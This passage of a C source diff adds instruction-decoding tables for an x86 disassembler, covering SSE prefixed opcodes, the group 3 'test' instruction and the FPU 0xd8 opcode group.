0 }, // 0x73 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x74 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x75 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x76 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7d + { INSTRUCTION_TYPE_SSE, "movq", AM_V|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, // 0x7e + { INSTRUCTION_TYPE_SSE, "movdqu", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x7f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xbf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc1 + { INSTRUCTION_TYPE_SSE, "cmpss", AM_V|OT_ss, AM_W|OT_ss, AM_I|OT_b, 1 }, // 0xc2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xca + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xce + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xcf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd5 + { INSTRUCTION_TYPE_SSE, "movq2dq", AM_V|OT_dq, AM_Q|OT_q, FLAGS_NONE, 1 }, // 0xd6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xda + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xde + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdf + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe5 + { INSTRUCTION_TYPE_SSE, "cvtdq2pd", AM_V|OT_pd, AM_W|OT_q, FLAGS_NONE, 1 }, // 0xe6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xea + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xeb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xec + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xed + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xee + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xef + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf0 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf1 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf2 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf3 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf4 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf5 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf6 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf7 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf8 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf9 + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfa + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfb + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfc + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfd + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfe + { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff +}; + + +// Just a lame hack to provide additional arguments to group 3 "test" + +INST inst_table_test[2] = { + { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_b, AM_I|OT_b, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_TEST, "test", AM_E|OT_v, AM_I|OT_v, FLAGS_NONE, 1 }, +}; + +// FPU instruction tables + +/* + * Tables are composed in two parts: + * + * - 1st part (index 0-7) are identified by the reg field of MODRM byte + * if the MODRM is < 0xc0. reg field can be used directly as an index to table. + * + * - 2nd part (8 - 0x47) are identified by the MODRM byte itself. In that case, + * the index can be calculated by "index = MODRM - 0xb8" + * + */ +INST inst_table_fpu_d8[72] = { + { INSTRUCTION_TYPE_FADD, "fadds", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FMUL, "fmuls", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FCOM, "fcoms", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FCOMP, "fcomps", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FSUB, "fsubs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FSUBR, "fsubrs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FDIV, "fdivs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FDIVR, "fdivrs", AM_E|OT_d, FLAGS_NONE, FLAGS_NONE, 1 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOM, "fcom", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FCOMP, "fcomp", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST0|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST1|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST2|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST3|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST4|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST5|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST6|F_f, FLAGS_NONE, 0 }, + { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f, AM_REG|REG_ST7|F_f, FLAGS_NONE, 0 }, +}; 